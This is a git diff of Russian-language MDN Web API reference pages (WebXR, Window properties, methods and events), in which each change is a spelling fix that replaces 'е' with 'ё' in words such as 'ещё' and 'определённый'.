      @@ -95,7 +95,7 @@ translation_of: Web/API/WebXR_Device_API
       
       
      {{domxref("WebGLRenderingContextBase.makeXRCompatibile","WebGLRenderingContextBase.makeXRCompatibile()")}}
      -
      Настраивает контекст WebGL для совместимости с WebXR. Если при создании контекста опция {{domxref("WebGLContextAttributes.xrCompatible", "xrCompatible")}} не была установлена как true, необходимо вызвать метод makeXRCompatible() до использования контекста WebGL для рендеринга WebXR. Возвращает {{jsxref("Promise")}}, выполняющийся, когда контекст был подготовлен, или отклонен, если контекст не может быть настроен для работы с WebXR.
      +
      Настраивает контекст WebGL для совместимости с WebXR. Если при создании контекста опция {{domxref("WebGLContextAttributes.xrCompatible", "xrCompatible")}} не была установлена как true, необходимо вызвать метод makeXRCompatible() до использования контекста WebGL для рендеринга WebXR. Возвращает {{jsxref("Promise")}}, выполняющийся, когда контекст был подготовлен, или отклонён, если контекст не может быть настроен для работы с WebXR.

      Руководства и уроки

      diff --git a/files/ru/web/api/window/beforeunload_event/index.html b/files/ru/web/api/window/beforeunload_event/index.html index 1273c5de18..757ea14c3b 100644 --- a/files/ru/web/api/window/beforeunload_event/index.html +++ b/files/ru/web/api/window/beforeunload_event/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/beforeunload_event ---
      {{APIRef}}
      -

      Событие beforeunload запускается, когда окно, документ и его ресурсы вот-вот будут выгружены. Документ все еще виден, и событие в этот момент может быть отменено.

      +

      Событие beforeunload запускается, когда окно, документ и его ресурсы вот-вот будут выгружены. Документ все ещё виден, и событие в этот момент может быть отменено.

      diff --git a/files/ru/web/api/window/close/index.html b/files/ru/web/api/window/close/index.html index 860ba52331..c4b4dc2357 100644 --- a/files/ru/web/api/window/close/index.html +++ b/files/ru/web/api/window/close/index.html @@ -33,7 +33,7 @@ function closeOpenedWindow() {

      Закрытие текущего окна

      -

      В прошлом, если бы вы вызвали функцию close() объекта window, вместо вызова функции close() для созданного окна, браузер закрыл бы текущее окно, создал ли его ваш скрипт или нет. В текущее время этого не произойдет; по причинам безопасности, скриптам больше не разрешено закрывать окна, которые они не открыли. (Firefox 46.0.1: scripts can not close windows, they had not opened)

      +

      В прошлом, если бы вы вызвали функцию close() объекта window, вместо вызова функции close() для созданного окна, браузер закрыл бы текущее окно, создал ли его ваш скрипт или нет. В текущее время этого не произойдёт; по причинам безопасности, скриптам больше не разрешено закрывать окна, которые они не открыли. (Firefox 46.0.1: scripts can not close windows, they had not opened)

      function closeCurrentWindow() {
         window.close();
      diff --git a/files/ru/web/api/window/closed/index.html b/files/ru/web/api/window/closed/index.html
      index fc1cf46867..c5cbbd98df 100644
      --- a/files/ru/web/api/window/closed/index.html
      +++ b/files/ru/web/api/window/closed/index.html
      @@ -39,7 +39,7 @@ if (window.opener && !window.opener.closed) {
       
       

      Обновление ранее открытого всплывающего окна

      -

      В данном примере функция refreshPopupWindow() вызывает метод reload у объекта локации всплывающего окна для обновления его данных. Если всплывающее окно еще не было открыто или пользователь его закрыл, открывает новое окно.

      +

      В данном примере функция refreshPopupWindow() вызывает метод reload у объекта локации всплывающего окна для обновления его данных. Если всплывающее окно ещё не было открыто или пользователь его закрыл, открывает новое окно.

      var popupWindow = null;
       
      diff --git a/files/ru/web/api/window/console/index.html b/files/ru/web/api/window/console/index.html
      index d6fac2ad19..6901458922 100644
      --- a/files/ru/web/api/window/console/index.html
      +++ b/files/ru/web/api/window/console/index.html
      @@ -5,7 +5,7 @@ translation_of: Web/API/Window/console
       ---
       

      {{ APIRef }}

      -

      Свойство window.console дает доступ к интерфейсу {{domxref("Console")}}, предоставляющий методы для вывода информации в консоль браузера. Данные методы предназначены для отладки приложения, и не должны использоваться конечными пользователями.

      +

      Свойство window.console даёт доступ к интерфейсу {{domxref("Console")}}, предоставляющий методы для вывода информации в консоль браузера. Данные методы предназначены для отладки приложения, и не должны использоваться конечными пользователями.

      Синтаксис

      diff --git a/files/ru/web/api/window/crypto/index.html b/files/ru/web/api/window/crypto/index.html index f103f43f97..e70c15e507 100644 --- a/files/ru/web/api/window/crypto/index.html +++ b/files/ru/web/api/window/crypto/index.html @@ -10,7 +10,7 @@ translation_of: Web/API/Window/crypto ---

      {{APIRef}}

      -

      {{domxref("Window.crypto")}} дает доступ к интерфейсу {{domxref("Crypto")}}. Этот интерфейс предоставляет веб-странице доступ к встроенным в браузер возможностям криптографии.

      +

      {{domxref("Window.crypto")}} даёт доступ к интерфейсу {{domxref("Crypto")}}. Этот интерфейс предоставляет веб-странице доступ к встроенным в браузер возможностям криптографии.

      Синтаксис

      diff --git a/files/ru/web/api/window/frameelement/index.html b/files/ru/web/api/window/frameelement/index.html index bd901523fb..9b1900a74e 100644 --- a/files/ru/web/api/window/frameelement/index.html +++ b/files/ru/web/api/window/frameelement/index.html @@ -31,7 +31,7 @@ if (frameEl) {

      Примечания

      -

      Заметьте, что несмотря на свое имя, свойство также работает для документов внутри <object> и других встраиваемых элементов.

      +

      Заметьте, что несмотря на своё имя, свойство также работает для документов внутри <object> и других встраиваемых элементов.

      Спецификация

      diff --git a/files/ru/web/api/window/getcomputedstyle/index.html b/files/ru/web/api/window/getcomputedstyle/index.html index 85080b7fa7..bb728217ab 100644 --- a/files/ru/web/api/window/getcomputedstyle/index.html +++ b/files/ru/web/api/window/getcomputedstyle/index.html @@ -17,11 +17,11 @@ translation_of: Web/API/Window/getComputedStyle
      Строка указывающая на найденный псевдо-элемент. Опускается (или null) для не псевдо-элементов.
      -

      Возвращенный style живой {{domxref("CSSStyleDeclaration")}} объект, который обновляется автоматически когда элемент стилей изменяется.

      +

      Возвращённый style живой {{domxref("CSSStyleDeclaration")}} объект, который обновляется автоматически когда элемент стилей изменяется.

      Выводы

      -

      Метод Window.getComputedStyle() предоставляет все значения CSS свойств элементов после применения текущей таблицы стилей или базового расчета каких-либо значений, которые могут быть.

      +

      Метод Window.getComputedStyle() предоставляет все значения CSS свойств элементов после применения текущей таблицы стилей или базового расчёта каких-либо значений, которые могут быть.

      Пример

      @@ -73,7 +73,7 @@ var style = window.getComputedStyle(elem1, null);

      Описание

      -

      Возвращенный объект - это такой же объект, который возвращается из свойства элемента {{domxref("HTMLElement.style", "style")}}; Так или иначе, эти два объекта имеют разные назначения. Объект который возвращается из getComputedStyle только для чтения и может быть использован для инспектирования стиля элемента (включая описание из <style> элемента или внешней таблицы стилей). Объект element.style следует использовать для установки стилей на специфических элементах.

      +

      Возвращённый объект - это такой же объект, который возвращается из свойства элемента {{domxref("HTMLElement.style", "style")}}; Так или иначе, эти два объекта имеют разные назначения. Объект который возвращается из getComputedStyle только для чтения и может быть использован для инспектирования стиля элемента (включая описание из <style> элемента или внешней таблицы стилей). Объект element.style следует использовать для установки стилей на специфических элементах.

      Первый аргумент должен быть элементом (вставка узлов которые не являются элементами, например #text выдаст ошибку).

      diff --git a/files/ru/web/api/window/getselection/index.html b/files/ru/web/api/window/getselection/index.html index c70c51e40c..e8f6f3fa73 100644 --- a/files/ru/web/api/window/getselection/index.html +++ b/files/ru/web/api/window/getselection/index.html @@ -25,7 +25,7 @@ translation_of: Web/API/Window/getSelection var selObj = window.getSelection(); alert(selObj); var selRange = selObj.getRangeAt(0); - // вернет диапазон Range + // вернёт диапазон Range }

      Заметки

      @@ -34,7 +34,7 @@ translation_of: Web/API/Window/getSelection

      В JavaScript при попытке передать в функцию, принимающую строку (как на пример {{ Domxref("window.alert()") }} или же {{ Domxref("document.write()") }}), функция попробует сделать из любого параметра строку, даже если этот параметр является объектом, функцией со своими методами и свойствами.

      -

      В приведенном выше примере selObj.toString() автоматически задействуется, когда мы передаем в {{domxref("window.alert()")}} переменную selObj как параметр, который должен быть строкой. Однако мы не можем использовать свойства и метода объекта String, как на пример : length, substr. В следствии чего, вам необходимо будет применить вручную метод   toString(), как тут:

      +

      В приведённом выше примере selObj.toString() автоматически задействуется, когда мы передаём в {{domxref("window.alert()")}} переменную selObj как параметр, который должен быть строкой. Однако мы не можем использовать свойства и метода объекта String, как на пример : length, substr. В следствии чего, вам необходимо будет применить вручную метод   toString(), как тут:

      var selectedText = selObj.toString();
      @@ -49,7 +49,7 @@ translation_of: Web/API/Window/getSelection

      Поля ввода HTML (inputs) предоставляют более удобный API для работы с выделенным текстом (смотрите {{domxref("HTMLInputElement.setSelectionRange()")}}).

      -

      На заметку, разница между selection и focus. {{domxref("Document.activeElement")}}  - это то, что вернется элемент, который выделен (focused) .

      +

      На заметку, разница между selection и focus. {{domxref("Document.activeElement")}}  - это то, что вернётся элемент, который выделен (focused) .

      Спецификации

      diff --git a/files/ru/web/api/window/history/index.html b/files/ru/web/api/window/history/index.html index fb679f5282..130637f6d3 100644 --- a/files/ru/web/api/window/history/index.html +++ b/files/ru/web/api/window/history/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/history ---

      {{ APIRef }}

      -

      Window.history является свойством только для чтения, ссылающимся на объект {{domxref("History")}}, который предоставляет интерфейс для манипулирования историей сессии браузера (страницы, посещенные в текущей вкладке или фрейме, который был загружен на текущей странице).

      +

      Window.history является свойством только для чтения, ссылающимся на объект {{domxref("History")}}, который предоставляет интерфейс для манипулирования историей сессии браузера (страницы, посещённые в текущей вкладке или фрейме, который был загружен на текущей странице).

      Смотрите Управление историей браузера для примеров и подробностей. В частности, та статья объясняет особенности безопасности методов pushState() и replaceState(), о которых вы должны быть в курсе перед их использованием.

      @@ -22,11 +22,11 @@ history.go(-1); // эквивалент history.back();

      Замечания

      -

      Для последней загруженной страницы вы можете увидеть список предыдущих страниц, которые доступны через объект History, в выпадающем списке к кнопкам "назад" и "вперед".

      +

      Для последней загруженной страницы вы можете увидеть список предыдущих страниц, которые доступны через объект History, в выпадающем списке к кнопкам "назад" и "вперёд".

      По причинам безопасности объект History не позволяет непривилегированному коду получать доступ к URL других страниц, но позволяет осуществлять навигацию по истории сессии.

      -

      Не существует способа очистить историю сессии или выключить навигацию посредствам кнопок "назад"/"вперед" из непривилегированного кода. Наиболее близкое решение использовать метод location.replace(), который заменяет текущий пункт в истории сессии на предоставленный URL.

      +

      Не существует способа очистить историю сессии или выключить навигацию посредствам кнопок "назад"/"вперёд" из непривилегированного кода. Наиболее близкое решение использовать метод location.replace(), который заменяет текущий пункт в истории сессии на предоставленный URL.

      Спецификации

      diff --git a/files/ru/web/api/window/index.html b/files/ru/web/api/window/index.html index 38048b3bfa..ad213b866e 100644 --- a/files/ru/web/api/window/index.html +++ b/files/ru/web/api/window/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/Window

      Объект window представляет собой окно, содержащее DOM документ; свойство document указывает на DOM document, загруженный в данном окне. Окно текущего документа может быть получено с помощью свойства {{Domxref("document.defaultView")}}.

      -

      Данный раздел содержит описание всех методов, свойств и событий, доступных через объект window DOM. Объект window реализует интерфейс Window, который наследуется от интерфейса AbstractView. Некоторые дополнительные глобальные функции, пространства имен объектов, интерфейсы и конструкторы, как правило, не связанные с окном, но доступные в нем, перечислены в JavaScript ссылки и DOM ссылки.

      +

      Данный раздел содержит описание всех методов, свойств и событий, доступных через объект window DOM. Объект window реализует интерфейс Window, который наследуется от интерфейса AbstractView. Некоторые дополнительные глобальные функции, пространства имён объектов, интерфейсы и конструкторы, как правило, не связанные с окном, но доступные в нем, перечислены в JavaScript ссылки и DOM ссылки.

      В браузерах, поддерживающих вкладки, таком как Firefox, каждая вкладка содержит свой собственный объект window (и если вы пишете расширение, окно браузера тоже является отдельным объектом window - см. Работа с окнами в chrome коде). Таким образом, объект window не разделяется между разными вкладками в одном и том же окне. Некоторые методы,  а именно {{Domxref("window.resizeTo")}} и {{Domxref("window.resizeBy")}} применяется для всего окна и не принадлежат объекту window отдельной вкладки. Как правило, если что-то логически нельзя отнести ко вкладке, это относят к окну.

      @@ -27,7 +27,7 @@ translation_of: Web/API/Window
      {{domxref("console","Window.console")}} {{Non-standard_inline}} {{ReadOnlyInline}}
      Возвращает ссылку на объект консоли, обеспечивающего доступ к консоли браузера.
      {{domxref("Window.content")}} and Window._content {{Non-standard_inline}} {{obsolete_inline}}{{ReadOnlyInline}}
      -
      Возвращает ссылку на элемент содержимого в текущем окне. Устаревший вариант в нижним подчеркиванием более не доступен для Web-содержимого.
      +
      Возвращает ссылку на элемент содержимого в текущем окне. Устаревший вариант в нижним подчёркиванием более не доступен для Web-содержимого.
      {{domxref("Window.controllers")}}{{non-standard_inline}}{{ReadOnlyInline}}
      Возвращает XUL контроллер объектов для текущего окна chrome.
      {{domxref("Window.crypto")}} {{readOnlyInline}}
      @@ -77,7 +77,7 @@ translation_of: Web/API/Window
      {{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}
      Возвращает вертикальные (Y) координаты верхнего левого угла окна просмотра в экранных координатах. Значение возвращается в CSS-пикселях. Смотри mozScreenPixelsPerCSSPixel для конвертирования и адаптирования к экранным пикселям, если необходимо.
      {{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}
      -
      Возвращает количество раз, за которые текущий документ был отрендерен для текущего экрана в этом окне. Может быть использовано для подсчета скорости преобразования.
      +
      Возвращает количество раз, за которые текущий документ был отрендерен для текущего экрана в этом окне. Может быть использовано для подсчёта скорости преобразования.
      {{domxref("Window.name")}}
      Получает/устанавливает имя для окна.
      {{domxref("Window.navigator")}} {{readOnlyInline}}
      @@ -154,7 +154,7 @@ translation_of: Web/API/Window
      {{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}
      Возвращает булевское значение, указывающее является ли текущий контент безопасным (true) или нет (false).
      {{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}
      -
      Возвращает источник глобального объекта, преобразованного в строку. (Это свойство пока еще не существует, поэтому не может быть использовано в браузерах.)
      +
      Возвращает источник глобального объекта, преобразованного в строку. (Это свойство пока ещё не существует, поэтому не может быть использовано в браузерах.)

      Методы

      @@ -169,9 +169,9 @@ translation_of: Web/API/Window
      {{domxref("Window.blur()")}}
      Убирает фокус с окна.
      {{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}
      -
      Позволяет отменить колбэк-функцию прежде чем определить расписание ее вызова с {{domxref("Window.requestIdleCallback")}}.
      +
      Позволяет отменить колбэк-функцию прежде чем определить расписание её вызова с {{domxref("Window.requestIdleCallback")}}.
      {{domxref("Window.captureEvents()")}} {{Deprecated_inline}}
      -
      Регистрирует окно, которое будет перехватывать все события определенного типа.
      +
      Регистрирует окно, которое будет перехватывать все события определённого типа.
      {{domxref("Window.clearImmediate()")}}
      Отменяет повторяющееся исполнение, установленное с помощью setImmediate.
      {{domxref("WindowTimers.clearInterval()")}}
      @@ -195,15 +195,15 @@ translation_of: Web/API/Window
      {{domxref("Window.focus()")}}
      Устанавливает фокус на текущем окне.
      {{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}
      -
      Переходит на один документ вперед в текущей истории окна.
      +
      Переходит на один документ вперёд в текущей истории окна.
      {{domxref("Window.getAttention()")}}
      Заставляет мигать иконку приложения.
      {{domxref("Window.getAttentionWithCycleCount()")}}
      {{todo("NeedsContents")}}
      {{domxref("Window.getComputedStyle()")}}
      -
      Получает подсчитанные стили для определенного элемента. Подсчитанные стили включают подсчитанные значения всех CSS свойств элемента.
      +
      Получает подсчитанные стили для определённого элемента. Подсчитанные стили включают подсчитанные значения всех CSS свойств элемента.
      {{domxref("Window.getDefaulComputedStyle()")}}
      -
      Получает подсчитанные стили по умолчанию для определенного элемента, игнорируя авторские стили.
      +
      Получает подсчитанные стили по умолчанию для определённого элемента, игнорируя авторские стили.
      {{domxref("Window.getSelection()")}}
      Возвращает выбранный объект, представляющий выбранный элемент(ы).
      {{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}
      @@ -215,11 +215,11 @@ translation_of: Web/API/Window
      {{domxref("Window.minimize()")}} (top-level XUL windows only)
      Минимизирует окно.
      {{domxref("Window.moveBy()")}}
      -
      Сдвигает текущее окно на определенное значение.
      +
      Сдвигает текущее окно на определённое значение.
      {{domxref("Window.moveTo()")}}
      -
      Сдвигает окно до определенных координат.
      +
      Сдвигает окно до определённых координат.
      {{domxref("Window.mozRequestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}
      -
      Сообщает браузеру, что анимация находится в прогрессе, требуя, чтобы браузер определил время перерисовки окна для следующего анимационного фрейма. Это вызовет событие  MozBeforePaint, прежде чем произойдет перерисовка .
      +
      Сообщает браузеру, что анимация находится в прогрессе, требуя, чтобы браузер определил время перерисовки окна для следующего анимационного фрейма. Это вызовет событие  MozBeforePaint, прежде чем произойдёт перерисовка .
      {{domxref("Window.open()")}}
      Открывает новое окно.
      {{domxref("Window.openDialog()")}}
      @@ -229,15 +229,15 @@ translation_of: Web/API/Window
      {{domxref("Window.print()")}}
      Открывает Print Dialog для распечатки текущего документа.
      {{domxref("Window.prompt()")}}
      -
      Возвращает текст, введенный пользователем в диалоге подсказки.
      +
      Возвращает текст, введённый пользователем в диалоге подсказки.
      {{domxref("Window.releaseEvents()")}} {{Deprecated_inline}}
      -
      Возвращает окно с захваченных событий определенного типа.
      +
      Возвращает окно с захваченных событий определённого типа.
      {{domxref("element.removeEventListener","Window.removeEventListener()")}}
      Удаляет обработчик события из окна.
      {{domxref("Window.requestIdleCallback()")}}  {{experimental_inline}}
      Позволяет назначить расписание задачи во время периода простоя браузера.
      {{domxref("Window.resizeBy()")}}
      -
      Меняет размер текущего окна на определенное число.
      +
      Меняет размер текущего окна на определённое число.
      {{domxref("Window.resizeTo()")}}
      Динамически меняет размер окна.
      {{domxref("Window.restore()")}}
      @@ -257,7 +257,7 @@ translation_of: Web/API/Window
      {{domxref("Window.setCursor()")}}
      Меняет курсор для текущего окна.
      {{domxref("Window.setImmediate()")}}
      -
      Исполняет функцию после того, как браузер некую тяжелую задачу.
      +
      Исполняет функцию после того, как браузер некую тяжёлую задачу.
      {{domxref("WindowTimers.setInterval()")}}
      Назначает выполнение функции каждые X миллисекунд.
      {{domxref("Window.setResizable")}}
      @@ -276,7 +276,7 @@ translation_of: Web/API/Window

      Методы, реализованные из других мест

      {{domxref("EventTarget.addEventListener()")}}
      -
      Регистрирует обработчики определенного типа событий в окне.
      +
      Регистрирует обработчики определённого типа событий в окне.
      {{domxref("WindowOrWorkerGlobalScope.atob()")}}
      Декодирует строку данных, которая была закодирована, используя кодировку base-64.
      {{domxref("WindowOrWorkerGlobalScope.btoa()")}}
      @@ -361,7 +361,7 @@ translation_of: Web/API/Window
      {{domxref("GlobalEventHandlers.onload")}}
      Свойство обработчика событий для загрузки окна.
      {{domxref("WindowEventHandlers.onmessage")}}
      -
      {{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдет событие {{event("message")}}.
      +
      {{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдёт событие {{event("message")}}.
      {{domxref("GlobalEventHandlers.onmousedown")}}
      Свойство обработчика событий для события mousedown в окне.
      {{domxref("GlobalEventHandlers.onmousemove")}}
      @@ -395,11 +395,11 @@ translation_of: Web/API/Window
      {{domxref("GlobalEventHandlers.onscroll")}}
      Свойство обработчика событий для прокрутки окна.
      {{domxref("GlobalEventHandlers.onwheel")}}
      -
      Вызывается, когда было прокручено колесико мыши в любую сторону.
      +
      Вызывается, когда было прокручено колёсико мыши в любую сторону.
      {{domxref("GlobalEventHandlers.onselect")}}
      Свойство обработчика событий для события выбора в окне.
      {{domxref("GlobalEventHandlers.onselectionchange")}}
      -
      {{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдет событие {{event("selectionchange")}}.
      +
      {{domxref("EventHandler")}}, представляющий собой код, который будет вызван, когда произойдёт событие {{event("selectionchange")}}.
      {{domxref("GlobalEventHandlers.onsubmit")}}
      Свойство обработчика событий для события submits в окне формы.
      {{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}
      @@ -413,7 +413,7 @@ translation_of: Web/API/Window
      {{domxref("Window.onvrdisplaydisconnected")}} {{experimental_inline}}
      Представляет обработчик события, который будет запущен, когда подходящее устройство виртуальной реальности было отсоединено от компьютера (когда запускается событие {{event("vrdisplaydisconnected")}}).
      {{domxref("Window.onvrdisplaypresentchange")}} {{experimental_inline}}
      -
      Представляет обработчик события, который будет запущен, когда изменится состояние устройства виртуальной реальности — т.е. перейдет от  представленного к непредставленному или наоборот (когда будет запущено событие {{event("onvrdisplaypresentchange")}}).
      +
      Представляет обработчик события, который будет запущен, когда изменится состояние устройства виртуальной реальности — т.е. перейдёт от  представленного к непредставленному или наоборот (когда будет запущено событие {{event("onvrdisplaypresentchange")}}).

      Конструкторы

      @@ -422,7 +422,7 @@ translation_of: Web/API/Window
      {{domxref("Window.ConstantSourceNode")}}
      -
      Создает экземпляр {{domxref("ConstantSourceNode")}}
      +
      Создаёт экземпляр {{domxref("ConstantSourceNode")}}
      @@ -431,9 +431,9 @@ translation_of: Web/API/Window
      {{domxref("Window.GeckoActiveXObject")}}
      {{todo("NeedsContents")}}
      {{domxref("Image")}}
      -
      Создает {{domxref("HTMLImageElement")}}.
      +
      Создаёт {{domxref("HTMLImageElement")}}.
      {{domxref("Option")}}
      -
      Создает {{domxref("HTMLOptionElement")}}
      +
      Создаёт {{domxref("HTMLOptionElement")}}
      {{domxref("Window.QueryInterface")}}
      {{todo("NeedsContents")}}
      {{domxref("Window.XMLSerializer")}}
      diff --git a/files/ru/web/api/window/innerheight/index.html b/files/ru/web/api/window/innerheight/index.html index 5207cf8536..a9ab800401 100644 --- a/files/ru/web/api/window/innerheight/index.html +++ b/files/ru/web/api/window/innerheight/index.html @@ -33,7 +33,7 @@ translation_of: Web/API/Window/innerHeight
      var intFrameHeight = window.innerHeight; // or
       
       var intFrameHeight = self.innerHeight;
      -// вернет высоту окна просмотра кадра в наборе кадров
      +// вернёт высоту окна просмотра кадра в наборе кадров
       
       var intFramesetHeight = parent.innerHeight;
       // will return the height of the viewport of the closest frameset
      diff --git a/files/ru/web/api/window/localstorage/index.html b/files/ru/web/api/window/localstorage/index.html
      index d16b779f35..b5143f7ccf 100644
      --- a/files/ru/web/api/window/localstorage/index.html
      +++ b/files/ru/web/api/window/localstorage/index.html
      @@ -17,7 +17,7 @@ translation_of: Web/API/Window/localStorage
       
       

      Свойство localStorage позволяет получить доступ к {{domxref("Storage")}} объекту. localStorage аналогично свойству sessionStorage. Разница только в том, что свойство sessionStorage хранит данные в течение сеанса (до закрытия браузера), в отличие от данных,  находящихся в свойстве localStorage, которые не имеют ограничений по времени хранения и могут быть удалены только с помощью JavaScript.

      -

      Следует отметить, что данные, сохраненные как в localStorage, так и в sessionStorage, являться специфичными для протокола страницы.

      +

      Следует отметить, что данные, сохранённые как в localStorage, так и в sessionStorage, являться специфичными для протокола страницы.

      Ключи и значения всегда строки (так же, как и объекты, целочисленные ключи автоматически будут преобразованы в строки).

      @@ -42,7 +42,7 @@ translation_of: Web/API/Window/localStorage
      localStorage.setItem('myCat', 'Tom');
      -

      Считывать данные из localStorage для определенного ключа, можно следующим образом:

      +

      Считывать данные из localStorage для определённого ключа, можно следующим образом:

      let cat = localStorage.getItem('myCat');
       
      @@ -83,7 +83,7 @@ translation_of: Web/API/Window/localStorage

      {{Compat("api.Window.localStorage")}}

      -

      Все браузеры имеют различный уровень объема для localStorage и sessionStorage. Здесь подробное описание объема хранилищ для разных браузеров.

      +

      Все браузеры имеют различный уровень объёма для localStorage и sessionStorage. Здесь подробное описание объёма хранилищ для разных браузеров.

      Смотрите также

      diff --git a/files/ru/web/api/window/location/index.html b/files/ru/web/api/window/location/index.html index d14951e9d3..26f2f2cd00 100644 --- a/files/ru/web/api/window/location/index.html +++ b/files/ru/web/api/window/location/index.html @@ -29,7 +29,7 @@ location = newLocation;

      Пример №1: Переход на новую страницу

      -

      Каждый раз, когда объекту location присвоено новое значение, документ будет загружен используя URL как если бы был вызван location.assign() с измененным URL. Отметим, что настройки безопасности, подобные CORS, могут препятствовать этому эффекту.

      +

      Каждый раз, когда объекту location присвоено новое значение, документ будет загружен используя URL как если бы был вызван location.assign() с изменённым URL. Отметим, что настройки безопасности, подобные CORS, могут препятствовать этому эффекту.

      location.assign("http://www.mozilla.org"); // или
       location = "http://www.mozilla.org";
      @@ -73,7 +73,7 @@ location = "http://www.mozilla.org";
       // в html: <button onclick="sendData('Some data');">Отправить данные</button>
       
      -

      Текущий URL с добавлением "?Some%20data" отправляется на сервер (если сервером не предпринимается никаких действий, то текущий документ перезагружается за счет изменения строки search).

      +

      Текущий URL с добавлением "?Some%20data" отправляется на сервер (если сервером не предпринимается никаких действий, то текущий документ перезагружается за счёт изменения строки search).

      Пример №6: Использование закладок без изменения свойства hash

      diff --git a/files/ru/web/api/window/mozanimationstarttime/index.html b/files/ru/web/api/window/mozanimationstarttime/index.html index 372a07f62e..52c4ce128c 100644 --- a/files/ru/web/api/window/mozanimationstarttime/index.html +++ b/files/ru/web/api/window/mozanimationstarttime/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/Window/mozAnimationStartTime

      Summary

      -

      Возвращает время в миллисекундах с начала эпохи UNIX, начиная с которого анимации, начавшиеся в определенный момент, должны быть сочтены уже начавшимися. Это значение должно быть использовано вместо, например, Date.now(), потому что оно будет тем же самым для анимаций, начавшихся в этом окне в течение этого интервала, позволяя им синхронизироваться между собой.

      +

      Возвращает время в миллисекундах с начала эпохи UNIX, начиная с которого анимации, начавшиеся в определённый момент, должны быть сочтены уже начавшимися. Это значение должно быть использовано вместо, например, Date.now(), потому что оно будет тем же самым для анимаций, начавшихся в этом окне в течение этого интервала, позволяя им синхронизироваться между собой.

      Это также позволяет анимациям JavaScript оставаться синхронизированными с CSS переходами и SMIL анимациями, запущенными в течение того же интервала обновления.

      diff --git a/files/ru/web/api/window/pageyoffset/index.html b/files/ru/web/api/window/pageyoffset/index.html index 2ecd37d8a1..d2267fe9e8 100644 --- a/files/ru/web/api/window/pageyoffset/index.html +++ b/files/ru/web/api/window/pageyoffset/index.html @@ -25,7 +25,7 @@ translation_of: Web/API/Window/pageYOffset

      Значение

      -

      Количество пикселей, на которое документ {{domxref("Document")}} прокручен вертикально в рамках окна {{domxref("Window")}}, выражено числом с плавающей запятой. Оно рассчитывается с субпиксельной точностью и, таким образом, не обязательно будет целым числом. Значение равное 0.0 означает, что вертикальная прокрутка еще не была совершена, и верхний край документа сейчас соответствует верхнему краю области содержимого окна.

      +

      Количество пикселей, на которое документ {{domxref("Document")}} прокручен вертикально в рамках окна {{domxref("Window")}}, выражено числом с плавающей запятой. Оно рассчитывается с субпиксельной точностью и, таким образом, не обязательно будет целым числом. Значение равное 0.0 означает, что вертикальная прокрутка ещё не была совершена, и верхний край документа сейчас соответствует верхнему краю области содержимого окна.

      Т.к. данное свойство соответствует {{domxref("Window.scrollY")}}, обратитесь к его описанию за более детальной информацией о значении и использовании.

      @@ -81,7 +81,7 @@ document.getElementById("frame").contentDocument
      -

      В данном примере создается элемент {{HTMLElement("iframe")}}, и задается его содержимое, затем определенный элемент этого документа прокручивается в область рамки. Как только это произошло, выясняется положение вертикальной прокрутки с помощью значения pageYOffset  у элемента {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}} в рамке.

      +

      В данном примере создаётся элемент {{HTMLElement("iframe")}}, и задаётся его содержимое, затем определённый элемент этого документа прокручивается в область рамки. Как только это произошло, выясняется положение вертикальной прокрутки с помощью значения pageYOffset  у элемента {{domxref("HTMLIFrameElement.contentWindow", "contentWindow")}} в рамке.

      HTML

      diff --git a/files/ru/web/api/window/popstate_event/index.html b/files/ru/web/api/window/popstate_event/index.html index 65c7ef6a93..c2f07004b4 100644 --- a/files/ru/web/api/window/popstate_event/index.html +++ b/files/ru/web/api/window/popstate_event/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/popstate_event ---

      Событие popstate вызывается, когда изменяется активная запись истории. Если изменение записи истории было вызвано методом history.pushState() или history.replaceState(), то состояние события popstate будет содержать state копии входящего в историю объекта

      -

      Обратите внимание,  history.pushState() или history.replaceState() не вызывают событие popstate. Событие popstate будет вызвано при совершении действий в браузере, таких как нажатие кнопок "Вперед" или "Назад" (или при вызове history.back() или history.forward() из JavaScript).

      +

      Обратите внимание,  history.pushState() или history.replaceState() не вызывают событие popstate. Событие popstate будет вызвано при совершении действий в браузере, таких как нажатие кнопок "Вперёд" или "Назад" (или при вызове history.back() или history.forward() из JavaScript).

      Браузеры работают с  событием popstate по разному. Chrome (prior to v34) и Safari всегда вызывают popstate по окончании загрузки страницы, а Firefox не делает этого.

      diff --git a/files/ru/web/api/window/postmessage/index.html b/files/ru/web/api/window/postmessage/index.html index d6db0cff3a..749e388816 100644 --- a/files/ru/web/api/window/postmessage/index.html +++ b/files/ru/web/api/window/postmessage/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/Window/postMessage ---
      {{ApiRef("HTML DOM")}}
      -

      Window.postMessage() - этот метод позволяет безопасно отправлять кроссдоменные запросы. Обычно сценариям на разных страницах разрешен доступ друг к другу только если страницы, которые их выполняли, передаются по одному  протоколу (обычно это https), номер порта (443 — по умолчанию для https) и хост (modulo {{domxref("Document.domain")}} установленный страницами на одно и тоже значение). window.postMessage() предоставляет контролируемый механизм, чтобы обойти это ограничение способом, который безопасен при правильном использовании.

      +

      Window.postMessage() - этот метод позволяет безопасно отправлять кроссдоменные запросы. Обычно сценариям на разных страницах разрешён доступ друг к другу только если страницы, которые их выполняли, передаются по одному  протоколу (обычно это https), номер порта (443 — по умолчанию для https) и хост (modulo {{domxref("Document.domain")}} установленный страницами на одно и тоже значение). window.postMessage() предоставляет контролируемый механизм, чтобы обойти это ограничение способом, который безопасен при правильном использовании.

